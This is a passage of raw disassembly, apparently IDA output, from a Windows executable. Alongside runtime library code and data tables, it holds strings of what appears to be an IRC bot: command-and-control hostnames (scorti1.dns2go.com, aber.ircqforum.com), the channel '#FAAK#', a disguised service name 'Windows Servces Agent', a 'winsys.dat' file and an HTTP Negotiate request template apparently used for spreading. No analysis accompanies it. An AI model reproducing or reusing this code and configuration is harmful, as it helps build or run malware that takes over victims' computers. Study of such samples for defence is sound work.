mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25D0000h, 25E0000h, 25F0000h, 25F06DBh, 2600000h, 2600ACAh dd 2600B6Dh, 2610000h, 26100F0h, 2620000h, 262078Dh, 2620BDAh dd 2630000h, 26307ECh, 26309E8h dword_42703C dd 2630A17h ; DATA XREF: ___:004231D9r dd 2630AEAh, 2630D3Fh, 2630DCDh, 2640000h, 2650000h, 26513C8h dd 2660000h, 26602EFh, 26608CAh, 77E75CB5h dword_427068 dd 26608E4h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2660B41h, 2670000h, 2670AE9h dword_427078 dd 2670ECAh ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 2680000h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 26801C1h dword_427084 dd 2680284h ; DATA XREF: sub_4196BC+B9r dd 26808FBh dword_42708C dd 2680925h ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 268097Dh ; DATA XREF: ___:loc_4013DCr ; --------------------------------------------------------------------------- or byte ptr [eax+ebp*2], 2 retf ; --------------------------------------------------------------------------- db 0Dh, 68h, 2 dword_42709C dd 2680EE8h ; DATA XREF: sub_409B12+2r dd 2690000h, 2690066h dword_4270A8 dd 269061Dh ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 269068Dh ; DATA XREF: sub_410CD5:loc_410DC1r dd 26A0000h, 26A0C5Bh dword_4270B8 dd 26B0000h ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26B0313h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26C0000h, 26D0000h, 26D05B7h, 26E0000h, 77F7E300h, 77F7E21Fh dd 26E04D8h, 26E06D6h, 26F0000h, 26F0849h dword_4270E8 dd 2700000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 27008FEh ; DATA XREF: sub_418293+36r dd 2700B13h, 2710000h dword_4270F8 dd 27105C5h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2720000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 2730000h, 2740000h, 2750000h, 2750421h, 2760000h, 276061Ch dd 2770000h, 2780000h, 2780BD5h, 2780F09h, 2790000h, 2790172h dd 2790A82h, 27A0000h, 27A0432h dword_42713C dd 27A0743h ; DATA XREF: sub_416F1A+BCr dd 27B0000h dword_427144 dd 27C0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27C0B36h ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27C0BA1h dword_427150 dd 27C0D96h ; DATA XREF: sub_417275+56r dd 27D0000h, 27E0000h, 27F0000h, 27F04DBh, 27F0B21h, 27F0DE7h dd 2800000h, 2800607h, 2810000h, 2820000h dword_42717C dd 28210C4h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2830000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 28310ACh, 28315AEh, 2831AB6h, 2840000h, 2850000h, 2860000h dd 2870000h, 2880000h, 2890000h, 28A0000h, 28A1977h, 28A198Bh dd 28B0000h, 28B0C88h, 28C0000h dword_4271C0 dd 28C0588h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 28C0783h ; DATA XREF: sub_41E976:loc_41E9A7r dd 28C087Eh, 28D0000h, 28D06C6h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C514o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D084o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D084h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D09C dd offset dword_427E18+4 off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0BC dd offset unk_427E68 off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D0DC dd offset dword_427EB0+4 off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D100 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D084 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D084 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D09C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0BC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D0DC align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(4B4EBF76h), 5 dup(290E2EF5h), 5 dup(3948FE06h) dd 7Ah dup(0) dd 3948FE06h, 0 dd 4B4EBF76h, 15h dup(0) dd 290E2EF5h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 72657373h, 652E6376h, 6578h dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServces db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA 